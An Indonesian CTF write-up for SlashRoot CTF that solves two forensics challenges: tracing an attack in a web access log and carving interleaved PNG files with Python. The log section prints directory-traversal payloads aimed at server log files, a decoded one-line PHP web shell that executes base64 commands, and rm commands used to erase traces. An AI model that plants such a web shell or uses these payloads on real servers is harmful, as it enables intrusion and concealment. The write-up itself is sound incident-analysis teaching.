SlashRoot CTF adalah event tahunan dan satu - satunya yang diadakan dari Bali yang terbuka untuk umum diseluruh Indonesia yang pelopori oleh UKM KSL dari ITB Stikom Bali. Acara SlashRoot sudah diadakan sebanyak 3 kali dan yang sekarang merupakan ke 4 dengan menyongsong tema “THE BEAUTY BEHIND [IN] SECURITY OF INDUSTRY 4.0”, pada acara ini akan diadakan seleksi secara online dan final offline.

Resource dan writeup lainnya dapat dilihat di sini

🔗 Log

Bantu mimin analisis log server yg dihek:(

Author: bot

Diberikan berkas log.zip yang memuat sebuah access_log. Sebagaimana tertera pada deskripsi soal, terdapat dugaan bahwa terdapat upaya peretasan server. Untuk itu, Kami lakukan log trace dari hasil observasi terhadap request yang mencurigakan. Adapun langkah nya ialah sebagai berikut:

$ head log
1.2.3.4 SlashRootCTF 17 Agustus 1945 - 19:43:05 WITA "GET / HTTP/1.1" 200 1728
1.2.3.4 SlashRootCTF 17 Agustus 1945 - 19:43:08 WITA "GET /index.php?page=index HTTP/1.1" 200 1728
1.2.3.4 SlashRootCTF 17 Agustus 1945 - 19:43:09 WITA "GET /index.php?system=Blog HTTP/1.1" 200 2392
1.2.3.4 SlashRootCTF 17 Agustus 1945 - 19:43:10 WITA "GET /index.php?system=Admin HTTP/1.1" 200 1812
1.2.3.4 SlashRootCTF 17 Agustus 1945 - 19:43:23 WITA "GET /index.php?system=Blog&post=1281005382 HTTP/1.1" 200 2213
1.2.3.4 SlashRootCTF 17 Agustus 1945 - 19:43:25 WITA "GET /index.php?system=Blog&category=0 HTTP/1.1" 200 2392
1.2.3.4 SlashRootCTF 17 Agustus 1945 - 19:43:27 WITA "GET /index.php?system=Blog&post=1281005382 HTTP/1.1" 200 2213
1.2.3.4 SlashRootCTF 17 Agustus 1945 - 19:43:33 WITA "GET /index.php?system=Blog&archive=2010-8 HTTP/1.1" 200 2398
1.2.3.4 SlashRootCTF 17 Agustus 1945 - 19:43:36 WITA "GET /index.php?system=Blog&post=1281005382 HTTP/1.1" 200 2213
1.2.3.4 SlashRootCTF 17 Agustus 1945 - 19:43:39 WITA "GET /index.php?system=Blog&category=0 HTTP/1.1" 200 2392

$ wc log
   8908  115805 1286968 log

Extracting URL Path

Sebelum melakukan penelusuran, Kami lakukan pre-processing untuk mengambil url.path dari 8908 request.lines yang ada. Kemudian, Kami lakukan juga proses url decode untuk mengubah representasi path ke dalam UTF-8.

$ awk '{print $10}' log | python2 -c \
"import sys; from urllib import unquote; print unquote(sys.stdin.read())" > clean

Extracting 1st Query Params

Guna mempercepat proses penelusuran, dilakukan proses ekstraksi untuk query parameter pertama dengan panjang 50-55 bytes. Hal ini dilakukan untuk menfilter beberapa gibberish parameter yang tidak relevan dalam proses eksploitasi.

$ awk -F'=' '{print $2}' clean | grep -ax '.\{50,55\}'
../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../var/log/httpd/error_log
../../../../../../../../../../../../../../../../&page
../../../../../../../../../../apache/logs/error.log
../../../../../../../../../../../../../../../../&post
../../../../../../../../../../apache/logs/access.log
../../../../../../../../../../apache/logs/error.log
../../../../../../../../../../apache/logs/access.log
../../../../../../../../../../apache/logs/error.log
../../../../../../../../../../apache/logs/access.log
../../../../../../../../../../apache/logs/error.log
../../../../../../../../../../apache/logs/access.log
../../../../../../../../../../apache/logs/error.log
../../../../../../../../../../apache/logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../etc/httpd/logs/error_log
../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../var/log/apache/error.log
Y2F0IDEgMiAzIDQgNSB8IHh4ZCAtciAtcCAtID4gZmxhZy5odG1s
cm0gNmIwNzA0NzJlNzkwYTcxYmViZjRhMjYyOTBhYzI2NGMucGhw

Dari sini tampak terlihat terdapat dua buah parameter dalam representasi base64. Langsung saja dilakukan proses decoding sehingga diperoleh:

$ base64 -d <<< 'Y2F0IDEgMiAzIDQgNSB8IHh4ZCAtciAtcCAtID4gZmxhZy5odG1s'
cat 1 2 3 4 5 | xxd -r -p - > flag.html

$ base64 -d <<< 'cm0gNmIwNzA0NzJlNzkwYTcxYmViZjRhMjYyOTBhYzI2NGMucGhw'
rm 6b070472e790a71bebf4a26290ac264c.php       

Berdasarkan hasil temuan di atas, dapat diasumsikan bahwa terdapat backdoor 6b070472e790a71bebf4a26290ac264c.php yang digunakan untuk menginvokasi RCE pada server. Selain itu, diketahui pula bahwa terdapat 5 buah file dalam representasi hexadecimal yang menjadi komponen dari flag.html. Untuk itu, Kami lakukan penelusuran kembali pada request-request yang berasal dari backdoor.

$ grep -a 6b070472e790a71bebf4a26290ac264c.php < clean | uniq -u
/6b070472e790a71bebf4a26290ac264c.php?p=bHM=
/6b070472e790a71bebf4a26290ac264c.php?p=Y2F0IDEgMiAzIDQgNSB8IHh4ZCAtciAtcCAtID4gZmxhZy5odG1s
/6b070472e790a71bebf4a26290ac264c.php?p=d2hvYW1p
/6b070472e790a71bebf4a26290ac264c.php?p=cm0gMQ==
/6b070472e790a71bebf4a26290ac264c.php?p=cm0gMg==
/6b070472e790a71bebf4a26290ac264c.php?p=cm0gMw==
/6b070472e790a71bebf4a26290ac264c.php?p=cm0gNA==
/6b070472e790a71bebf4a26290ac264c.php?p=cm0gNQ==
/6b070472e790a71bebf4a26290ac264c.php?p=d2hvYW1p
/6b070472e790a71bebf4a26290ac264c.php?p=cm0gNmIwNzA0NzJlNzkwYTcxYmViZjRhMjYyOTBhYzI2NGMucGhw

$ grep -a 6b070472e790a71bebf4a26290ac264c.php < clean | uniq -u | cut -d= -f2 | while read i; do base64 -d <<< $i;echo; done
ls
cat 1 2 3 4 5 | xxd -r -p - > flag.html
whoami
rm 1
rm 2
rm 3
rm 4
rm 5
whoami
rm 6b070472e790a71bebf4a26290ac264c.php

Dari sini dipahami bahwa terdapat beberapa operasi removal untuk menghapus trace dari backdoor beserta komponen flag.html.

Extracting 2nd Query Params

Sehubungan tidak terdapat informasi lagi mengenai keberadaan file [1..5] pada query-params pertama, Kami pun berinisiatif untuk mengalihkan fokus penelusuran pada query params ke-2.

$ awk -F'=' '{print $3}' clean | grep -ax '.\{100,150\}' | uniq -i
ZWNobyAiPD9waHAgc3lzdGVtKGJhc2U2NF9kZWNvZGUoXCRfR0VUWydwJ10pKTsgPz4iID4gNmIwNzA0NzJlNzkwYTcxYmViZjRhMjYyOTBhYzI2NGMucGhw
ZWNobyAiM2MyMTQ0NGY0MzU0NTk1MDQ1MjA2ODc0NmQ2YzNlMGEzYzY4NzQ2ZDZjM2UwYTIwMjAyMDIwM2M2ODY1NjE2NDNlMGEyMDIwMjAyMDIwMjAyMDIwM2M3NDY5NzQ2YzY1M2U0NiIgPiAx
ZWNobyAiNmM2MTY3M2MyZjc0Njk3NDZjNjUzZTBhMjAyMDIwMjAzYzJmNjg2NTYxNjQzZTBhMjAyMDIwMjAzYzYyNmY2NDc5MjA3Mzc0Nzk2YzY1M2QyMjYyNjE2MzZiNjc3MjZmNzU2ZSIgPiAy
ZWNobyAiNjQzYTIwNjI2YzYxNjM2YjIyM2UwYTIwMjAyMDIwMjAyMDIwMjAzYzZkNjE3MjcxNzU2NTY1M2UzYzY4MzEyMDczNzQ3OTZjNjUzZDIyNjM2ZjZjNmY3MjNhMjA2NzcyNjU2NSIgPiAz
ZWNobyAiNmUyMjNlNTM2YzYxNzM2ODUyNmY2Zjc0NDM1NDQ2N2I2MzMxMzUzNjMxMzEzNDM0NjUzOTY1MzQzNjY1MzczMjMwNjU2MjYzMzc2NDY1MzUzNTM4MzM2MzYzMzAzMTMyMzg2NSIgPiA0
ZWNobyAiNjEzMTMxMzI2NTM5Mzc2MzM1NjY2NDM1MzIzNjdkM2MyZjY4MzEzZTNjMmY2ZDYxNzI3MTc1NjU2NTNlMGEyMDIwMjAyMDNjMmY2MjZmNjQ3OTNlMGEzYzJmNjg3NDZkNmMzZSIgPiA1

$ grep -a ZWN < clean | cut -d= -f3 | uniq -i | while read i; do base64 -d <<< $i; echo; done
echo "<?php system(base64_decode(\$_GET['p'])); ?>" > 6b070472e790a71bebf4a26290ac264c.php
echo "3c21444f43545950452068746d6c3e0a3c68746d6c3e0a202020203c686561643e0a20202020202020203c7469746c653e46" > 1
echo "6c61673c2f7469746c653e0a202020203c2f686561643e0a202020203c626f6479207374796c653d226261636b67726f756e" > 2
echo "643a20626c61636b223e0a20202020202020203c6d6172717565653e3c6831207374796c653d22636f6c6f723a2067726565" > 3
echo "6e223e536c617368526f6f744354467b63313536313134346539653436653732306562633764653535383363633031323865" > 4
echo "61313132653937633566643532367d3c2f68313e3c2f6d6172717565653e0a202020203c2f626f64793e0a3c2f68746d6c3e" > 5

Tampak terlihat terdapat beberapa command execution yang beberapa di antaranya memuat representasi file [1..5] yang dibutuhkan. Untuk itu, Kami lakukan proses hex-decoding sehingga diperoleh isi dari flag.html

$ grep -a ZWN < clean | cut -d= -f3 | uniq -i | while read i; do base64 -d <<< $i | cut -d'"' -f2 | xxd -r -p; done
<!DOCTYPE html>
<html>
    <head>
        <title>Flag</title>
    </head>
    <body style="background: black">
        <marquee><h1 style="color: green">SlashRootCTF{c1561144e9e46e720ebc7de5583cc0128ea112e97c5fd526}</h1></marquee>
    </body>
</html> 

FLAG : SlashRootCTF{c1561144e9e46e720ebc7de5583cc0128ea112e97c5fd526}

🔗 Piggy Sliced

Panca dikenal sebagai seseorang yang rapi dalam menyimpan file-file yang dimilikinya. Namun suatu hari setelah Panca menghilang, ia hanya meninggalkan sebuah file. Apakah itu hanyalah corrupted file?

Author: bemrdo

Diberikan sebuah binary-file panca.png. Namun, setelah dilakukan pengecekan diketahui bahwa ImageFile yang diberikan memuat beberapa hierarchy PNG yang ditumpuk dengan pola tertentu. Selengkapnya, kami lakukan pengecekan dengan bantuan xxd

$ xxd panca.png | head
00000000: 8989 8950 894e 5047 890d 4e0a 501a 470a  ...P.NPG..N.P.G.
00000010: 5000 0d00 4e00 0a0d 5049 1a48 4744 0a52  P...N...PI.HGD.R
00000020: 4e00 0000 0d00 00c8 4e00 0000 0a00 0dc8  N.......N.......
00000030: 4708 4902 1a00 4800 4700 4422 0a3a 5239  G.I...H.G.D".:R9
00000040: 0dc9 0000 0000 0000 0d19 0074 0045 c858  ...........t.E.X
00000050: 0a74 0053 006f 0066 0a74 0077 0d61 c872  .t.S.o.f.t.w.a.r
00000060: 1a65 0800 4941 0264 1a6f 0062 4865 0020  .e..IA.d.o.bHe.
00000070: 0a49 006d 4461 2267 0a65 3a52 5265 3961  .I.mDa"g.e:RRe9a
00000080: 0064 c979 0071 00c9 0065 003c 0000 0000  .d.y.q...e.<....
00000090: 0003 1928 0069 7454 0058 4574 c858 584d  ...(.itT.XEt.XXM

Berdasarkan hasil temuan di atas, Kami menduga bahwa terdapat empat buat potongan yang disembunyikan mengingat adanya 4 buah header PNG. Setelah bebarapa percobaan, diketahui bahwa PNG stack disusun dengan pola file[1::2]. Untuk membuktikan deduksi tersebut kami lakukan static analysis dengan pngcheck.

$ python2 -c "print open('panca.png','rb').read()[1::2]" > test.png
$ file test.png
test.png: PNG image data, 200 x 200, 8-bit/color RGB, non-interlaced

$ pngcheck -v test.png
zlib warning:  different version (expected 1.2.8, using 1.2.11)

File: test.png (7991 bytes)
  chunk IHDR at offset 0x0000c, length 13
    200 x 200 image, 24-bit RGB, non-interlaced
  chunk tEXt at offset 0x00025, length 25, keyword: Software
  chunk iTXt at offset 0x0004a, length 808, keyword: XML:com.adobe.xmp
    uncompressed, no language tag
    no translated keyword, 787 bytes of UTF-8 text
  chunk IDAT at offset 0x0037e, length 2351
    zlib: deflated, 32K window, maximum compression
  chunk IEND at offset 0x00cb9, length 0
  additional data after IEND chunk
ERRORS DETECTED in test.png
preview-1

Hasilnya, diperoleh potongan terakhir dari flag. Akan tetapi apabila dicermati kembali, terdapat extra-byte pada offset 0xcc1. Secara sekilas hal ini bukanlah menjadi masalah mengingat potongan PNG berhasil diekstrak. Akan tetapi apabila kita melakukan operasi yang sama untuk mendapatkan potongan berikutnya, maka PNG File yang didapatkan tidak memuat IDAT Data yang utuh. Akibatnya representasi pixel tidak dapat ditampilan seutuhnya. Berikut ini merupakan script yang digunakan untuk proses static analysis beserta hasil pemrosesan.

# test.py
#!/usr/bin/env python2
pad = lambda x : range(x)[1::2]
raw = open('panca.png','rb').read()

def extract(raw):
  tmp = list(raw)
  res = ''

  for i in pad(len(raw)):
    res += raw[i]
    tmp[i] = ''
  return (res, ''.join(tmp))

for i in range(4):
  res, raw = extract(raw)
  open('part_{}.png'.format(5-i), 'wb').write(res)
preview-2

Tampak terlihat bahwa dekomposisi PNG File tidak dapat berjalan setelah iterasi yang pertama. Hal ini sekaligus menguatkan deduksi bahwa diperlukan proses filterisasi untuk mencegah adanya extra-byte pada IEND CHUNK untuk setiap iterasi file carving. Hal ini dilakukan agar extra-byte tersebut dapat digunakan kembali pada iterasi selanjutnya sehingga diperoleh hierarchy PNG file yang valid. Untuk itu, Kami menyusun skema pengerjaan yang dapat diuraikan sebagai berikut

  1. Dilakukan file loading dari binary-file panca.png yang selanjutnya akan diproses sebanyak n-buah iterasi.
  2. Untuk setiap iterasi dilakukan operasi substring dengan aturan [1::2], kemudian akan dilakukan pencarian terhadap offset IEND (8 byte) yang akan digunakan sebagai upper-bound pada proses berikut nya.
  3. Adapun untuk setiap elemen dari himpunan integer dari {1, length of raw, 2} akan dijadikan sebagai acuan substring & list.removal apabila nilai elemen < upper-bound.
  4. Setelah substring terkumpul, dilakukan operasi writing sehingga diperoleh PNG File yang valid

Skema tersebut Kami implementasi dalam script sebagai berikut:

# solve.py
#!/usr/bin/env python2
pad = lambda x : range(x)[1::2]
raw = open('panca.png','rb').read()

def extract(raw):
  sub = raw[1::2]
  tmp = list(raw)
  res = ''
  offset = sub.find('IEND')
  up_bound = (offset+8) * 2
  for i in pad(len(raw)):
    if i <= up_bound:
      res += raw[i]
      tmp[i] = ''
  return (res, ''.join(tmp))

for i in range(4):
  res, raw = extract(raw)
  open('part_{}.png'.format(5-i),'wb').write(res)
preview-3

Berdasarkan pemrosesan tersebut, terlihat bahwa masih terdapat suatu kesalahan yang mengakibatkan proses dekomposisi tidak berjalan pada iterasi terakhir. Selanjutnya, Kami berinisiatif untuk melakukan pengecekan kembali dengan bantuan xxd

$ xxd sisa.raw | head -15
00000000: 8950 4e47 0d0a 1a0a 0a00 0000 0000 000d  .PNG............
00000010: 0d49 4948 4844 4452 5200 0000 0000 00c8  .IIHHDDRR.......
00000020: c800 0000 0000 00c8 c808 0802 0200 0000  ................
00000030: 0000 0022 223a 3a39 39c9 c900 0000 0000  ...""::99.......
00000040: 0019 1974 7445 4558 5874 7453 536f 6f66  ...ttEEXXttSSoof
00000050: 6674 7477 7761 6172 7265 6500 0041 4164  fttwwaarree..AAd
00000060: 646f 6f62 6265 6520 2049 496d 6d61 6167  doobbee  IImmaag
00000070: 6765 6552 5265 6561 6164 6479 7971 71c9  geeRReeaaddyyqq.
00000080: c965 653c 3c00 0000 0003 0328 2869 6954  .ee<<......((iiT
00000090: 5458 5874 7458 584d 4d4c 4c3a 3a63 636f  TXXttXXMMLL::cco
000000a0: 6f6d 6d2e 2e61 6164 646f 6f62 6265 652e  omm..aaddoobbee.
000000b0: 2e78 786d 6d70 7000 0000 0000 0000 0000  .xxmmpp.........
000000c0: 003c 3c3f 3f78 7870 7061 6163 636b 6b65  .<<??xxppaacckke
000000d0: 6574 7420 2062 6265 6567 6769 696e 6e3d  ett  bbeeggiinn=
000000e0: 3d22 22ef efbb bbbf bf22 2220 2069 6964  =""......""  iid

Dari sini, diketahui bahwa terdapat extra 1 PNG file lagi yang tidak memiliki hierarchy yang memenuhi aturan [1::2] sehingga proses file carving tidak dapat dilakukan. Untuk itu, Kami lakukan penambahan 16 bytes sebagai acuan dua buah PNG signature. Adapun berikut ini final script yang Kami gunakan beserta hasil pemrosesan dari program

# solve.py
#!/usr/bin/env python2
pad = lambda x : range(x)[1::2]
raw = open('panca.png','rb').read()

def extract(raw):
  sub = raw[1::2]
  tmp = list(raw)
  res = ''
  offset = sub.find('IEND')
  up_bound = (offset+8) * 2
  for i in pad(len(raw)):
    if i <= up_bound:
      res += raw[i]
      tmp[i] = ''
  return (res, ''.join(tmp))
def recover(raw):
  tmp = '\x89\x89PPNNGG\r\r\n\n\x1a\x1a\x0a\x0a' + raw[10:]
  return tmp

for i in range(4):
  res, raw = extract(raw)
  open('part_{}.png'.format(5-i),'wb').write(res)

raw = recover(raw)
res, raw = extract(raw)
open('part_2.png','wb').write(raw)
res = res[:9] + '\x00' + res[9:]
open('part_1.png','wb').write(''.join(res))
$ python2 solve.py
$ pngcheck part_*
zlib warning:  different version (expected 1.2.8, using 1.2.11)

OK: part_1.png (200x200, 24-bit RGB, non-interlaced, 97.5%).
OK: part_2.png (200x200, 24-bit RGB, non-interlaced, 97.1%).
OK: part_3.png (200x200, 24-bit RGB, non-interlaced, 97.4%).
OK: part_4.png (200x200, 24-bit RGB, non-interlaced, 97.4%).
OK: part_5.png (200x200, 24-bit RGB, non-interlaced, 97.3%).

No errors were detected in 5 of the 5 files tested.

$ convert +append part_*.png flag.png
preview-4
preview-5

FLAG : SlashRootCTF{s1gnaTur3s_mak3_y0u_haPp13r?}